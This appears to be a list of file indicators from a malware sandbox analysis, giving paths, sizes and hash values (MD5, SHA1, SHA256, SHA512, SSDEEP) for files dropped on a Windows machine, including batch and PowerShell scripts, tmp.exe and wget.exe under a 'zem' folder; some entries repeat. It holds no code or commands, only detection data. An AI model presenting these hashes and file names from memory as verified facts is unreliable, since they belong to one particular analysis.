- MD5 cb3a19901a422660c36a96284b125b29
- SHA1 b31020d098e898d3e6e74e46a3be2db375272779
- SHA512 1c6a0d305f0cd0c1d1dfe799c172cbe55503bd940557a67a42758b8d2f3e9707522df9e5d71113915edc4ee3c3714ec899c4452dee897596c7fb01dd6ccc4a68
- SSDEEP 98304:6TxRSGytMEM0MUMRMxMwMkfqbjxbSzGVr4W11/KgOv4VXViIk:6yGy+lV1qKpkfqbjeGVr47v4hEN
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\chocolatey\choco.exe
- Size 7.3MB
- SHA256 9078bd7a82267c4605dcdf4d4ad8d03150cd9eec84c88965a3fcd4193cf1f8d7
- MD5 cb3a19901a422660c36a96284b125b29
- SHA1 b31020d098e898d3e6e74e46a3be2db375272779
- SHA512 1c6a0d305f0cd0c1d1dfe799c172cbe55503bd940557a67a42758b8d2f3e9707522df9e5d71113915edc4ee3c3714ec899c4452dee897596c7fb01dd6ccc4a68
- SSDEEP 98304:6TxRSGytMEM0MUMRMxMwMkfqbjxbSzGVr4W11/KgOv4VXViIk:6yGy+lV1qKpkfqbjeGVr47v4hEN
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\zem\run.bat
- Size 2KB
- SHA256 a1277bd1956b02a2f759ad30eca3215ba2c83eab72dfa9f815d39564bc4a9e1c
- MD5 8b3dedfae44579dbb69419c1b7f39cb3
- SHA1 9955cf4cae7f8338286a2891aa357ba6168138e8
- SHA512 ff95d8854dd0b017bbe1cec582b3d504e53dad65729034d1ee69d9313cc4279fa9ea0f61f698b04f9a3c3c174260805212b46d606a672538f8c6b56bf9d50fa7
- MD5 SHA1 SHA512
- Path C:\ProgramData\zem\start.bat
- Size 415B
- SHA256 3ee70cf43535fc65581f3edf34674e8f2769e661911ba7cf2dcb359cedf40fb8
- MD5 e808c807fb41cb9a2fc8714b1a5cd048
- SHA1 2c7843c932301f6ceed5ace6753999eb0bc83366
- SHA512 de65ddc77e1542a653dc049d4d5dcbab03bd7b63921844d6a4b4cf6c12c33d0c0ae27ff7f38d6cbd8c2708fb4e2b8ad4d8ea8434e3d3b491cf805aafe9a201ad
- MD5 SHA1 SHA512
- Path C:\ProgramData\zem\start.ps1
- Size 1KB
- SHA256 c57a761935e8b3a9cf697f6d1ad069cc839bb98ea79beeb5ad635802ce10500d
- MD5 bf8561246e2dad06c4ce34b397e874d3
- SHA1 47fd915a1094f373f445186b438703de228481a6
- SHA512 45047c45e6964859b601593647489e2440a1b0ff8c1a826fcd35a5f945275410cff79d4d4b95ee378c63b818db8fac999f7b620e6722da68119ee07c726bae5e
- MD5 SHA1 SHA512
- Path C:\ProgramData\zem\tmp.exe
- Size 532KB
- SHA256 9aa8880ca3650ef28c7a1dd5869a4d720ca0f62bda8ada3fcd86226b6f20e123
- MD5 cba9caa64e418a546044daa8744800b3
- SHA1 72060361b8a025ea3e132f6015cb20a87d3dff44
- SHA512 aac883eb4a0d5718d64a592632d1270c3f7ab8b8e1555f0c0a940922bc325dc07dea44a09ea3da0a0e834a4b266f1d6eb20b54523811c5992abbfc9bc56e4129
- SSDEEP 12288:u5m8ZlWk6VT6qIm9qCZb5rTa8kdVXpP1PIU/bB6h1a15:5O+DD9qCZb5rTa8UPPRP/bkar
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\zem\wget.exe
- Size 392KB
- SHA256 a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599
- MD5 bd126a7b59d5d1f97ba89a3e71425731
- SHA1 457b1cd985ed07baffd8c66ff40e9c1b6da93753
- SHA512 3ef1b83ea9821cb10f8bc149ec481d1e486d246a0cb51fe7983785529df42c6fe775e0d35c64a97f997cdf294464c7640df392239b96ce1be6143ce8f07b5a8a
- SSDEEP 6144:eoxkuaVJiysgokd+8L2LZ9aUedgk+TGk57rrpmNDEpO/YIPOWCiwYFnY:JxkJLiynXvqjggpl57rrpmNQp2YIGRY
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\zem\wget.exe
- Size 392KB
- SHA256 a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599
- MD5 bd126a7b59d5d1f97ba89a3e71425731
- SHA1 457b1cd985ed07baffd8c66ff40e9c1b6da93753
- SHA512 3ef1b83ea9821cb10f8bc149ec481d1e486d246a0cb51fe7983785529df42c6fe775e0d35c64a97f997cdf294464c7640df392239b96ce1be6143ce8f07b5a8a
- SSDEEP 6144:eoxkuaVJiysgokd+8L2LZ9aUedgk+TGk57rrpmNDEpO/YIPOWCiwYFnY:JxkJLiynXvqjggpl57rrpmNQp2YIGRY
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\zem\wget.exe
- Size 392KB
- SHA256 a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599
- MD5 bd126a7b59d5d1f97ba89a3e71425731
- SHA1 457b1cd985ed07baffd8c66ff40e9c1b6da93753
- SHA512 3ef1b83ea9821cb10f8bc149ec481d1e486d246a0cb51fe7983785529df42c6fe775e0d35c64a97f997cdf294464c7640df392239b96ce1be6143ce8f07b5a8a
- SSDEEP 6144:eoxkuaVJiysgokd+8L2LZ9aUedgk+TGk57rrpmNDEpO/YIPOWCiwYFnY:JxkJLiynXvqjggpl57rrpmNQp2YIGRY
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 bda499e3f69d8fe0227e734bbb935dc5bf0050d37adf03bc41356dfcb5bcca0b
- MD5 fe3aab3ae544a134b68e881b82b70169
- SHA1 926e9b4e527ae1bd9b3b25726e1f59d5a34d36a6
- SHA512 3fbd3499d98280b6c79c67b0ee183b27692dbc31acf103b4f8ca4dcdf392afff2b3aad500037f4288581ed37e85f45c3bbb5dcde11cddf3ef0609f44b2ecb280
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 54b57c9f9b168348e3cdcb1e7e41500602a2267d35c71675810aa34fca004164
- MD5 c5e9b9cd25ed3f12b42381eed720f66c
- SHA1 940a2ff87a60bf3cef0688520c16d8560a465d0c
- SHA512 7136952640574008e1d38a5737f150f044205ed0fca86d5455e208c8b636a57b55b1e5ce9defd331e8b0431775b979a409f9abb27ef0b01429cc30c21e7e9b37
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 3e1615e7774bd98860c984570515c293b64cf07f1b8e6688a72e78fa9ebed0f4
- MD5 692a440f9cfbeaf648632aead685a5a1
- SHA1 e4e4bd8405be77294f4be5ea18b5e05b139f35af
- SHA512 c7501a0fc978d0f06f32c4a205246763796a20c0b2514f00cb6676c8c95ab38d463b87c2973ca2b9b3e2fee3bc7ded869f5896c498303397167c4b5f069db519
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 64B
- SHA256 7615b74b755b33bde20d6026bd14a1cb1866d3013b9dc231a3dfeb071b4e29d2
- MD5 e5b84d9e354fd09e2bb5c57546905f44
- SHA1 902c3fa5acd848e053da89d434fea41933e98d78
- SHA512 7531296d1d190e3e6b4be560658e939d8c6fdec5d22b50a6068a66feb2a85a36715d12170d14c52d27d4fe57184e9297b029732401033ede186cc446b481c1e9
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\RESA2AD.tmp
- Size 1KB
- SHA256 d700f55ada9a9e601da68e977854dd734b5b1e16d0793ff67b541c6504e60682
- MD5 4b014ab5e2f04258527b1faf9717890f
- SHA1 1f50e968ff7a264173661331688af01137a654f4
- SHA512 8a023a89aa9a5ca18b8a15275d78a22f96b425783393440b0f8b62a8df7ce4e031003eaaecbad2d7547d617b4d02e6c4e15f50efe2c8f4e4c43f32afe096cbf9
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\pftbpevt\pftbpevt.dll
- Size 3KB
- SHA256 c5b124cdffd31f3d5224878bb1594e2221d1431c4a4dd452fee0a5f85dc9c6a7
- MD5 6aec9f305454797aff7a96c0b3efff4d
- SHA1 299cd53129e8bc1d18ea734c05211ed154cb5236
- SHA512 e0d4cc98e7f316e86cad5ba51f616310c5d2db6840d21fa25a034378832b1ad4c5332af9df8c96b4d98ce2c3a49360003404c2bbb1c312ffad59cba42a156c19
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\pftbpevt\CSCA5BC580AF6EE420E902A6861B0103F6C.TMP
- Size 652B
- SHA256 dc867d9227477c215e1d68c97d90c1d9c854fbb6ed057ac40b9c2a7184b53421
- MD5 df02626815bf271a859b37e6d143d96d
- SHA1 86144242dbcf2e59034398440ae0f855c5cd2f2c
- SHA512 f4a44c7e8cde0f7812abf7ea31e071232f18eed97693527b8dc60e2d430dbfabf8453fd92571b04f5e33b03c8cb4d6fd83a7ea8911281488299e56252bb3c239
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\pftbpevt\pftbpevt.0.cs
- Size 363B
- SHA256 2887d6cced4527e90685dea484f31e882a7352ca66bdb5f5c7dd8924b6885dce
- MD5 fe0a20ae8ae6560ff6da930c7a650c80
- SHA1 b17a90207c3fd39abfcd37a79428961d401c0de6
- SHA512 d2505e75392877bc4bff0b9b145da35fb2c4fea86c6c6ee3ec7af06fb774abb27dd651242f6797e0e81127619a64662874cc1623262607de65fb332848de4531
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\pftbpevt\pftbpevt.cmdline
- Size 369B
- SHA256 71c86045ff58eb88a33c6ee52bfa275d257109ef428309aa8de3d18bfd10e9fb
- MD5 6a80b1cb12e12d1aacbce1736d5951b3
- SHA1 5d563403102262f74f41c688474e4d649295ed35
- SHA512 3431cafd3a6abcb7e66e0b029be7a7b2bdc11aeb421cb4798f58441eda8dce8457560db9fc3c179be95b53898cd0a7235fcae6cb19690de5e27b9318d7ddb7ff
- MD5 SHA1 SHA512